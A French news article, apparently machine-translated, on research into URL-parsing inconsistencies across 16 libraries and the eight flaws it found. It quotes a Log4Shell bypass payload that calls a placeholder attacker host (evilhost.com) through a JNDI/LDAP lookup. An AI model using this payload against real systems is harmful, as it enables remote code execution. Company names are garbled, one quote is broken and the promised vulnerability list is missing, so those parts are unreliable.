Une étude de 16 différents Uniform Resource Locator (URL) les bibliothèques d’analyse ont mis au jour des incohérences et des confusions qui pourraient être exploitées pour contourner les validations et ouvrir la porte à un large éventail de vecteurs d’attaque.

Dans une analyse approfondie menée conjointement par des entreprises de cybersécurité Clarté et Synk, huit failles de sécurité ont été identifiées dans autant de bibliothèques tierces écrites en langages C, JavaScript, PHP, Python et Ruby et utilisées par plusieurs applications Web.

« La confusion dans l’analyse d’URL peut provoquer un comportement inattendu dans le logiciel (par exemple, une application Web) et pourrait être exploitée par des acteurs malveillants pour provoquer des conditions de déni de service, des fuites d’informations ou éventuellement mener des attaques d’exécution de code à distance », expliquent les chercheurs. a déclaré dans un rapport partagé avec The Hacker News.

Les URL étant un mécanisme fondamental par lequel les ressources – situées localement ou sur le Web – peuvent être demandées et récupérées, les différences dans la façon dont les bibliothèques d’analyse interprètent une demande d’URL pourraient présenter un risque important pour les utilisateurs.

Un exemple en est la faille critique Log4Shell divulguée le mois dernier dans le cadre de journalisation omniprésent Log4j, qui découle du fait qu’une chaîne malveillante contrôlée par un attaquant, lorsqu’elle est évaluée au fur et à mesure qu’elle est enregistrée par une application vulnérable, entraîne un JNDI recherche qui se connecte à un serveur géré par un adversaire et exécute du code Java arbitraire.

Bien que Apache Software Foundation (ASF) ait rapidement mis en place un correctif pour remédier à la faiblesse, il est rapidement apparu que les atténuations pouvaient être contournées par une entrée spécialement conçue au format « ${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a} » qui permet à nouveau les recherches JNDI à distance pour réaliser l’exécution du code.

« Ce contournement provient du fait que deux analyseurs d’URL différents (!) l’URL, l’Autorité change aussi », ont déclaré les chercheurs.

Plus précisément, si l’entrée est traitée comme une URL HTTP normale, le Autorité Le composant – la combinaison du nom de domaine et du numéro de port – se termine lorsqu’il rencontre l’identifiant de fragment, alors que, lorsqu’il est traité comme une URL LDAP, l’analyseur attribue l’ensemble « 127.0.0[.]1#.evilhost.com:1389 » en tant qu’autorité, car la spécification de l’URL LDP ne prend pas en compte le fragment.

En effet, l’utilisation de plusieurs analyseurs syntaxiques est apparue comme l’une des deux principales raisons pour lesquelles les huit vulnérabilités ont été découvertes, l’autre étant des problèmes résultant d’incohérences lorsque les bibliothèques suivent des spécifications d’URL différentes, introduisant effectivement une faille exploitable.

La dissonance va de la confusion impliquant des URL contenant des barres obliques inverses («  »), un nombre irrégulier de barres obliques (par exemple, https:///www.example[.]com), ou Données encodées URL (« % ») vers des URL avec des schémas d’URL manquants qui, lorsqu’ils sont exploités avec succès, pourraient conduire à l’exécution de code à distance ou entraîner des attaques de déni ou de service (DoS) et des attaques de phishing par redirection ouverte.

La liste des huit vulnérabilités découvertes est la suivante, qui ont toutes été corrigées depuis par les responsables respectifs :

« De nombreux scénarios d’attaque réels pourraient provenir de différentes primitives d’analyse », ont déclaré les chercheurs. Pour protéger les applications des vulnérabilités d’analyse d’URL, « il est nécessaire de bien comprendre quels analyseurs sont impliqués dans l’ensemble du processus [and] les différences entre les analyseurs, qu’il s’agisse de leur clémence, de la façon dont ils interprètent les différentes URL malformées et des types d’URL qu’ils prennent en charge. »